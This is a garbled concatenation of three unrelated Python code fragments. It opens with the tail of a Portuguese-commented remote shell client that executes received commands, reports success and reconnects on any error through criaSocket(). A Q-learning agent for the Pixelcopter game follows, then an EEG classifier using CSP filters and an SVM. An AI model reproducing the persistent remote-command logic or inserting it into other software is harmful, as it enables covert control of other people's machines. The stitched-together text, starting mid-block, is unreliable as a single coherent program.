                #Alguns comandos nao retornam nenhuma mensagem
                #Por exemplo, executar programas.
                #Logo, caso nao haja uma resposta, o servidor ira
                #ficar esperando infinitamente. :(
                else:
                    s.send("[+] Comando executado com sucesso.")

        #Caso algum erro ocorra ao receber o comando
        #a conexao deve ter sido perdida, logo
        #a shell ira ser reiniciada.
        except:
            s.close()
            criaSocket()

criaSocket()


import numpy as np
from ple import PLE
from ple.games.pixelcopter import Pixelcopter
import random

def round(state):
    new_state = {}
    for i in state:
        if i != 'player_y':
            new_state[i] = (int(state[i]) / 60)
    return new_state

# Making an agent from game env
agent = Pixelcopter(width=256, height=256)

# Creating a game environment (use lower fps so we can see whats happening a little easier)
env = PLE(agent, fps=15, force_fps=False, display_screen=True)

env.init()
actions = env.getActionSet()
q_table = {}
alpha = 0.1
gamma = 0.5

while (True):
    oldGameState = round(agent.getGameState())
    if env.game_over():
        env.reset_game()
    up = q_table.get(tuple(oldGameState.values()) + (119,), 0)
    none = q_table.get(tuple(oldGameState.values()) + (None,), 0)

    if up > none:
        action = 119
    elif none > up:
        action = None
    else:
        action = actions[random.randint(0, 1)]  # random actions

    reward = env.act(action)
    newGameState = round(agent.getGameState())
    oldQState = tuple(oldGameState.values()) + (action,)
    if oldQState not in q_table.keys():
        q_table[oldQState] = 0

    up_next = q_table.get(tuple(newGameState.values()) + (119,), 0)
    none_next = q_table.get(tuple(newGameState.values()) + (None,), 0)
    next_max = max(up_next, none_next)
    sample = reward + gamma * next_max
    q_table[oldQState] = (1 - alpha) * q_table[oldQState] + alpha * sample


"""
Created on 08/07/21 19:46:46
@author: Jash Shah
"""
import pandas as pd
import scipy.io as io
import numpy as np
import functools
import random
import pandas as pd

def uppertri(C):
    """
    Function for extracting 1-D vector out of covariance matrix.
    """
    uppertrain = np.asarray([1.0] * int(len(C) * (len(C) - 1) / 2))
    x = 0
    for i in range(len(C)):
        for j in range(i + 1, len(C)):
            uppertrain[x] = C[i][j]
            x += 1
    return uppertrain

def csp_func(C_a, C_b, n):
    """
    Function for calculating CSP coefficients.
    """
    C = C_a + C_b
    rtol = 1e-15
    e, E = np.linalg.eigh(C)
    P = functools.reduce(np.dot,
       [E, np.diag(np.where(e > np.max(e) * rtol, e, np.inf) ** -.5), E.T])

    P_C_b = functools.reduce(np.dot, [P, C_b, P.T])
    _, _, B = np.linalg.svd((P_C_b))
    W = np.asarray(np.dot(B, P.T))

    assert W.shape[1] >= n
    #outer = np.roll(int(np.arange(n) - n / 2), int((n + 1) / 2))
    coffs = np.asarray([W[i] for i in range(n)])
    return coffs

def filt(X,coffs):
    dotproduct = np.asarray([np.dot(coffs, trial) for trial in X])
    cov_mat = np.var(dotproduct, axis=2)
    return cov_mat

"""
Loading the train data train_mat variable.
This includes trials and labels into X and Y
"""

train_mat = io.loadmat("C:/Users/bhargav Pandya/Desktop/BCI_Assignment/Assignment_2k21/assignment_train_data.mat")
test_mat = io.loadmat("C:/Users/bhargav Pandya/Desktop/BCI_Assignment/Assignment_2k21/assignment_test_data.mat")
x_test = test_mat['trials']
x_train = train_mat['trials']
labels_train = train_mat['labels']
print("Training Dataset contains : ",x_train.shape[0])
print("Testing Dataset contains : ",x_test.shape[0])

Y_test = []
df=pd.read_csv('C:/Users/bhargav Pandya/Desktop/BCI_Assignment/Assignment_2k21/Solution/true_test_labels.csv', sep=',')
arr = df.to_numpy()
for i in arr:
    Y_test.append(i[1])
Y_test = np.array(Y_test)
Y_train = np.asarray( np.asmatrix(labels_train).transpose())

"""
 Compute co-variance matrix for all trials
"""

X_train = np.asarray([ np.cov(x) for x in x_train])
X_test = np.asarray([ np.cov(x) for x in x_test])

"""
 Next segement of code is implementation of actual CSP Algorithm.

 CSP require average covarience matrix for class A (left hand) and class B (right hand)
"""

cov_X_A =  X_train[np.asarray( [True if Y_train[i]==1  else False for i in range(len(Y_train))])]
cov_X_B =  X_train[np.asarray( [False if Y_train[i]==1  else True for i in range(len(Y_train))])]

"""
# Calculate average covariance (Ca, Cb) matrices
"""

avg_cov_A = cov_X_A[0]
for i in range(1,len(cov_X_A)):
    avg_cov_A+=cov_X_A[i]
avg_cov_A = avg_cov_A/len(cov_X_A)

avg_cov_B = cov_X_B[0]
for i in range(1,len(cov_X_B)):
    avg_cov_B+=cov_X_B[i]
avg_cov_B = avg_cov_B/len(cov_X_B)

"""
# Calculate CSP filter coefficients
"""
coffs = csp_func(avg_cov_A, avg_cov_B, 3)
coffs= np.asmatrix(coffs);
cspmask = np.matmul( coffs[0].transpose(),coffs[0])

################################# Applying CSP  Filter
X_train_csp = filt(X_train, coffs)
X_test_csp = filt(X_test, coffs)
print("The feature vector has shape of: ", X_train_csp.shape[1])

from sklearn import svm

model = svm.SVC(degree= 3, kernel='linear', C= 1.0, verbose= False, probability= True, coef0= 0.0, max_iter= -1,
                decision_function_shape='ovr', random_state= None, tol= 1.0, cache_size= 400,
                shrinking= True, gamma='auto', class_weight= None)

"""
# Find Classification accuracy using CSP Filter
"""
model.fit(X_train_csp,Y_train.ravel())
result_test = model.score(X_test_csp, Y_test)
print("Accuracy using CSP filters: "+str(result_test))